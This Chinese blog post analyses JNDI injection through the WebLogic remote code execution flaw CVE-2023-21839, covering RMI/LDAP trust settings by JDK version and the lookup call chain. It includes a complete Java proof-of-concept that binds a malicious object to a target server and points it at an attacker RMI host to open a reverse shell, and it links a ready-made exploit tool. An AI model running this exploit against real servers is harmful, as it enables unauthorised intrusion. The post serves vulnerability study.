我们提供安全,免费的手游软件下载!
本篇文章初衷是在研究log4j2漏洞时候找不到一篇完整且能够真正让我理解漏洞根因的文章,导致我想写一篇通俗易懂能理解到底啥是JNDI注入,怎么lookup的。
当然不排除国外英文文章有很好的解释,但是我更希望有中文版本。
JNDI (Java Naming and Directory Interface)
JNDI注入可以归纳为后台在执行代码的时候,最终会执行到lookup函数,然后lookup函数传入的值是我们在请求或者其他方式能够控制的一个变量,再者lookup支持远程方法调用(RMI)、轻型目录访问协议(LDAP)、域名服务(DNS)。
定眼一看RMI、LDAP、DNS,肾上腺素拉满,这仨都可以配合JNDI注入进行(lookup)漏洞利用攻击。 所以这也就是为啥有很多攻击方式为:JNDI+RMI、JNDI+LDAP、JNDI+DNS,最具杀伤力的自然是rmi和ldap协议,能够远程绑定对象执行代码。(这里别蒙圈,知道这俩协议配合JNDI能够远程执行代码即可)
通常测试是否存在JNDI注入漏洞的话可以先用DNS探测一下是否有回显,有的话才好进行下一步的攻击。
还有一个公共对象请求代理体系结构(CORBA)
该漏洞为:Weblogic未授权远程代码执行漏洞( CVE-2023-21839 )
下面的源码分析都围绕23年Weblogic的一个未授权远程代码执行漏洞来解释怎么RMI和LDAP攻击,这也是为啥我不满意网上大部分文章的原因,没有结合一个具体的漏洞去解释这俩协议。
(纯属个人观点,毕竟还是参考了很多大佬文章的,各位道友轻点喷)
假如你不理解下面要概括的漏洞原理的话那就也莫慌,你只需要知道最终触发的还是lookup函数即可,上面的解释就是为了你在朋友面前装13的而已,显得你很牛13。
注:!!!补充,这个weblogic漏洞是你绑定对象后主动的进行lookup查询,然后让后台触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload。
RMI和LDAP的区别其实就是安全限制有最大的不同,两个协议用起来都是需要加载恶意类到本地执行命令。
(区别就是:RMI/LDAP远程对象引用安全限制存在差异)
参考文章:
https://myzxcg.com/2021/10/Java-JNDI分析与利用/#jndi-目录服务
↓↓↓↓↓↓ 里面有写一段,解决了我的对两个协议的疑惑 :↓↓↓↓↓↓
- RMI
在RMI服务中引用远程对象将受本地Java环境限制,本地的java.rmi.server.useCodebaseOnly
配置如果为true( 禁止引用远程对象 ),为false则允许加载远程类文件。
除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase
配置限制,如果该值为false( 不信任远程引用对象 ),一样无法调用远程的引用对象。
- JDK5u45、JDK6u45、JDK7u21、JDK8u121 开始,
java.rmi.server.useCodebaseOnly
默认值改为了true
。- JDK6u132、JDK7u122、JDK8u113 开始
com.sun.jndi.rmi.object.trustURLCodebase
默认值改为了false
。
本地测试远程对象引用可以使用 如下方式允许加载远程的引用对象
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
- LDAP
LDAP也在 JDK6u211、7u201、8u191、11.0.1 后将com.sun.jndi.ldap.object.trustURLCodebase
的默认设置为了false。( 但不受java.rmi.server.useCodebaseOnly影响 )
如果你看懂了上面的并且觉得够了且已经理解了,那么就无需看下面分析了,因为这里我写的原因就是因为不相信别人说的,我才希望真正看到是不是真的能够进行JNDI注入lookup进行攻击。
Weblogic未授权远程代码执行(CVE-2023-21839)的源码分析,使用RMI攻击。
分析前要记住一点:Weblogic t3/iiop协议支持远程绑定对象bind到服务端
巧的是:当远程对象继承自OpaqueReference时,lookup查看远程对象,查询的变量是
remoteJNDIName
(
可通过反射机制控制
)。
这里又发现一篇文章写得不错,我参考了一二:
https://g1asssy.com/2024/01/31/CVE_2024_20931/
↓↓↓↓↓↓其中有一段解释的很好↓↓↓↓↓↓
利用步骤大致分为三步:
- 建立一个恶意ForeignOpaqueReference对象,并将remoteJNDIName设置为远程恶意JNDI服务。
- 通过T3 \ IIOP协议在WLS上绑定该恶意对象。
通过lookup查询该恶意对象
,触发ForeignOpaqueReference.getReferent的调用,从而造成恶意JNDI注入。
通过lookup查询该恶意对象
:这句话意思是你绑定服务器端后能够在poc中自己决定是否拿着这个类去lookup触发,这也就是为啥我选weblogic这个漏洞来解释的原因,他的poc就是你自己来决定绑定后是否进行lookup攻击的,很直接了当告诉你就是lookup触发的,别不信,你自己决定是否lookup攻击。
注:!!!我还要再次补充就是,这个weblogic漏洞是你绑定对象后主动的进行lookup查询,然后让后台触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload。
参考文章:
https://xz.aliyun.com/t/12297
下图为:ForeignOpaqueReference的父类OpaqueReference,可以看到里面存在getReferent函数,这个函数跟进去就有触发lookup。
跟进getReferent,你看我框住的就行,你会发现我们只要满足下面两点:
然而以上的条件都可以通过编写脚本用反射机制拿到变量进行修改,说白了就是在lookup查询你绑定好的对象时,就会调用ForeignOpaqueReference.getReferent(),然后就去触发受害端后台的lookup,接着执行你控制好的remoteJNDIName, 所以这里我们只要控制var4与this.remoteJNDIName就能造成jndi注入 。
以下是RMI的漏洞攻击POC:
注明:本人没有测试poc是否成功,建议使用集成工具一键搭好攻击环境:
https://github.com/ugnoeyh/Log4shell_JNDIExploit
解下介绍poc代码
weblogic
wlfullclient
0.1
weblogic
spring
0.1
weblogic
logging
0.1
ps:上面加深的这句 "这一步主动lookup是为了受害端去getReferent 然后触发lookup去get你的恶意payload进行实例化造成攻击" ,看不懂可以接下去看lookup触发链。
import weblogic.deployment.jms.ForeignOpaqueReference;
import weblogic.iiop.IOPProfile;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class CVE_2023_21839 {
public static void main(String[] args) throws Exception {
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
// 创建用来远程绑定对象的InitialContext
String url = "t3://192.168.135.129:7001"; // 目标机器
Hashtable env1 = new Hashtable();
env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env1.put(Context.PROVIDER_URL, url); // 目标
InitialContext c = new InitialContext(env1);
// ForeignOpaqueReference的jndiEnvironment属性
Hashtable env2 = new Hashtable();
env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
// ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env2);
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
String rmi= "rmi://192.168.135.1:1389/Basic/ReverseShell/192.168.135.1/7777";
remoteJNDIName.set(f, rmi);
// 远程绑定ForeignOpaqueReference对象
c.rebind("sectest", f);
// lookup查询ForeignOpaqueReference对象
try {
c.lookup("sectest");
} catch (Exception e) {
}
}
}
OK上面就是weblogic漏洞未授权远程代码执行的一个主要漏洞根因,下面介绍的是知道了进行lookup后,lookup是怎么加载恶意payload的过程。
这里有一个lookup进行实例化对象的调用栈
(
从下JNDI_Test的函类开始往上看
)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
↑↑↑↑↑↑
getObjectInstance:319, NamingManager (javax.naming.spi)
↑↑↑↑↑↑
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
↑↑↑↑↑↑
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
↑↑↑↑↑↑
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
↑↑↑↑↑↑
lookup:411, InitialContext (javax.naming)
↑↑↑↑↑↑
main:7, JNDI_Test (demo)
再往深了讲
getObjectFactoryFromReference
就是最终的
罪魁祸首
。
其他调用过程就不讲了,有感兴趣可以看参考文章:
https://xz.aliyun.com/t/12297
接着讲:getObjectFactoryFromReference干了啥,以下是他的源码部分
其中
clas = helper.loadClass(factoryName);
尝试从本地加载Factory类
clas = helper.loadClass(factoryName, codebase);
从远程加载我们恶意class
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
至此,历尽千辛万苦,透过一个23年的weblogic漏洞分析JNDI到此结束。
同理RMI,就是有版本的安全配置限制,上面也讲了两个协议的区别,但实质都是通过加载恶意类来攻击的。
身为散修就这么生硬的解释,道友莫怪。
感谢看到这里的道友~
热门资讯